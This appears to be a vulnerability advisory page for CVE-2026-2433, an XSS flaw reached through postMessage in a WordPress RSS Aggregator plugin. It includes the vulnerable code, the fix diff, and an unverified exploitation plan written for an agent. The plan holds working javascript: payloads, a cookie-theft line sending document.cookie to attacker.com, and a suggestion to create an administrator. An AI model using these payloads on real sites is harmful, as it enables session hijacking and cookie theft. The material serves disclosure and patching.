CVE-2026-2433

RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging <= 5.0.11 - Unauthenticated DOM-Based Reflected Cross-Site Scripting via postMessage

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.1
CVSS Score
6.1
CVSS Score
medium
Severity
5.0.12
Patched in
1d
Time to patch

Description

The RSS Aggregator – RSS Import, News Feeds, Feed to Post, and Autoblogging plugin for WordPress is vulnerable to DOM-Based Cross-Site Scripting via postMessage in all versions up to, and including, 5.0.11. This is due to the plugin's admin-shell.js registering a global message event listener without origin validation (missing event.origin check) and directly passing user-controlled URLs to window.open() without URL scheme validation. This makes it possible for unauthenticated attackers to execute arbitrary JavaScript in the context of an authenticated administrator's session by tricking them into visiting a malicious website that sends crafted postMessage payloads to the plugin's admin page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=5.0.11
PublishedMarch 6, 2026
Last updatedMarch 7, 2026
Affected pluginwp-rss-aggregator

What Changed in the Fix

Changes introduced in v5.0.12

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-2433 ## 1. Vulnerability Summary The **RSS Aggregator** plugin (versions <= 5.0.11) contains a DOM-based reflected Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the `core/js/admin-shell.js` file, which manages the plugin's administrati…

Show full research plan

Exploitation Research Plan - CVE-2026-2433

1. Vulnerability Summary

The RSS Aggregator plugin (versions <= 5.0.11) contains a DOM-based reflected Cross-Site Scripting (XSS) vulnerability. The vulnerability exists in the core/js/admin-shell.js file, which manages the plugin's administrative user interface. The script registers a global message event listener to facilitate communication between the main WordPress admin window (the "shell") and an internal iframe (the "frame").

The listener fails to validate the origin of incoming postMessage events and subsequently passes a user-controlled URL from the message payload directly into window.open(). Because window.open() accepts javascript: URIs and no scheme validation is performed, an attacker can execute arbitrary JavaScript in the context of the administrator's session.

2. Attack Vector Analysis

  • Target Page: /wp-admin/admin.php?page=wprss-aggregator
  • Vulnerable Script: core/js/admin-shell.js (Enqueued as wpra-admin-shell)
  • Message Event Listener: window.addEventListener("message", ...)
  • Trigger Message Type: wpra:openUrl (defined as FrameMessage.openUrl)
  • Payload Parameter: payload.url
  • Authentication Requirement: The victim must be an authenticated administrator capable of accessing the plugin's admin page.
  • Precondition: The victim must be tricked into visiting a malicious website while their WordPress admin session is active.

3. Code Flow

  1. Listener Registration: In core/js/admin-shell.js, the WpraAdminApp class calls this.frame.onReceive(FrameMessage.openUrl, ...) inside its listenForMessages() method.
  2. Generic Listener: The onReceive method (in the AppFrame class) registers the global listener:
    onReceive(type, handler) {
      window.addEventListener("message", (event) => {
        const msg = event.data ?? {}
        if (typeof msg === "object" && (msg.type ?? "") === type) {
          handler(msg.payload)
        }
      })
    }
    
    Note: There is no if (event.origin !== ...) check here.
  3. Handler Execution: When a message with type: "wpra:openUrl" is received, the handler in WpraAdminApp executes:
    this.frame.onReceive(FrameMessage.openUrl, (payload) => {
      // ... payload validation (checks if payload.url is string)
      if (payload.target) {
        window.open(payload.url, payload.target) // SINK
      } else {
        this.frame.navigate(payload.url, "openUrl")
      }
      return
    })
    
  4. Sink: window.open(payload.url, payload.target) is called. If payload.url starts with javascript:, the browser executes the script in the context of the current window (especially if payload.target is _self or the name of the current window).

4. Nonce Acquisition Strategy

This vulnerability does not require a WordPress nonce.
The message event listener is registered globally on the window object immediately upon loading the /wp-admin/admin.php?page=wprss-aggregator page. It does not check for any tokens or nonces within the postMessage data before processing the wpra:openUrl request.

5. Exploitation Strategy

The goal is to demonstrate that an external site can force the WordPress admin page to execute JavaScript.

Step-by-Step Plan:

  1. Victim Login: The agent will log in as an administrator.
  2. Malicious Page Simulation: Since the agent cannot easily host an external site in the environment, it will simulate the "malicious site" by opening the vulnerable WordPress page in a new window/tab and then sending the postMessage.
  3. The Payload:
    {
      type: "wpra:openUrl",
      payload: {
        url: "javascript:window.wpra_xss_vulnerable = true; alert('XSS: ' + document.domain);",
        target: "_self"
      }
    }
    

Execution via http_request / browser_eval:

Instead of an external site, we will use browser_navigate to go to the vulnerable page and then use browser_eval to simulate a message arriving at that window.

  1. Navigate: browser_navigate("http://localhost:8080/wp-admin/admin.php?page=wprss-aggregator")
  2. Trigger:
    window.postMessage({
      type: "wpra:openUrl",
      payload: {
        url: "javascript:window.wpra_xss_vulnerable = true; console.log('XSS_SUCCESS');",
        target: "_self"
      }
    }, "*");
    

6. Test Data Setup

  1. Plugin Activation: Ensure wp-rss-aggregator is active.
  2. User: An administrator user (e.g., admin / password).
  3. No specific shortcodes or posts are required, as the script is enqueued on the main plugin settings page.

7. Expected Results

  • The window.open function will be called with the javascript: URI.
  • The JavaScript inside the URI will execute in the context of the WordPress admin page.
  • In the simulation, window.wpra_xss_vulnerable will become true.

8. Verification Steps

  1. Check Variable: Use browser_eval("window.wpra_xss_vulnerable") to check if it returns true.
  2. Console Logs: Check browser logs for the string XSS_SUCCESS.
  3. State Verification: Use the XSS to perform an action, such as creating a new administrator, then verify via WP-CLI:
    wp user list --role=administrator
    

9. Alternative Approaches

If _self targeting is restricted by browser security policies in the test environment, use a payload that modifies the DOM or steals the cookie:

  • Payload: javascript:fetch('/wp-json/wp/v2/users/me').then(r=>r.json()).then(d=>document.body.innerHTML='HACKED: '+d.name)
  • This demonstrates the ability to interact with the WordPress REST API using the administrator's authenticated session.

Backup Payload (Cookie Exfiltration Simulation):

window.postMessage({
  type: "wpra:openUrl",
  payload: {
    url: "javascript:document.location='http://attacker.com/?cookie='+btoa(document.cookie)",
    target: "_self"
  }
}, "*");
Research Findings
Static analysis — not yet PoC-verified

Summary

The RSS Aggregator plugin (up to version 5.0.11) is vulnerable to DOM-based reflected Cross-Site Scripting (XSS) due to a flaw in its admin-shell.js script. The script registers a message event listener that lacks origin validation and blindly processes a 'wpra:openUrl' event, passing a user-controlled URL directly into window.open() without sanitizing for the javascript: protocol.

Vulnerable Code

// core/js/admin-shell.js line 56
    onReceive(type, handler) {
      window.addEventListener("message", (event) => {
        const msg = event.data ?? {}
        if (typeof msg === "object" && (msg.type ?? "") === type) {
          handler(msg.payload)
        }
      })
    }

---

// core/js/admin-shell.js line 142
      // Open links in the main window
      this.frame.onReceive(FrameMessage.openUrl, (payload) => {
        if (typeof payload !== "object" || typeof payload.url !== "string") {
          console.error(FrameMessage.openUrl, "payload is missing url")
          return
        }

        if (payload.target) {
          window.open(payload.url, payload.target)
        } else {
          this.frame.navigate(payload.url, "openUrl")
        }
        return
      })

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.11/core/js/admin-shell.js /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.12/core/js/admin-shell.js
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.11/core/js/admin-shell.js	2025-09-16 08:50:00.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-rss-aggregator/5.0.12/core/js/admin-shell.js	2026-03-03 10:20:48.000000000 +0000
@@ -58,6 +58,10 @@
       window.addEventListener("message", (event) => {
         const msg = event.data ?? {}
         if (typeof msg === "object" && (msg.type ?? "") === type) {
+          if (event.origin !== window.location.origin) {
+            console.warn("WPRA: Blocked message from unauthorized origin:", event.origin)
+            return
+          }
           handler(msg.payload)
         }
       })
@@ -149,6 +153,17 @@
           return
         }
 
+        try {
+          const url = new URL(payload.url, window.location.origin)
+          if (!["http:", "https:"].includes(url.protocol)) {
+            console.warn(FrameMessage.openUrl, "Blocked potentially malicious URL:", payload.url)
+            return
+          }
+        } catch (e) {
+          console.warn(FrameMessage.openUrl, "Invalid URL:", payload.url)
+          return
+        }
+
         if (payload.target) {
           window.open(payload.url, payload.target)
         } else {

Exploit Outline

To exploit this vulnerability, an attacker tricks an authenticated administrator into visiting a malicious website. This malicious site opens a new window or iframe pointing to the plugin's admin page at /wp-admin/admin.php?page=wprss-aggregator. Once the WordPress page is loaded, the malicious site sends a postMessage with the type 'wpra:openUrl'. The payload contains a 'url' property set to a 'javascript:' URI (e.g., javascript:alert(document.cookie)) and a 'target' property set to '_self'. Since admin-shell.js does not check if the message came from a trusted origin or if the URL protocol is safe, it calls window.open() with the attacker-supplied script, executing it in the context of the administrator's session.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.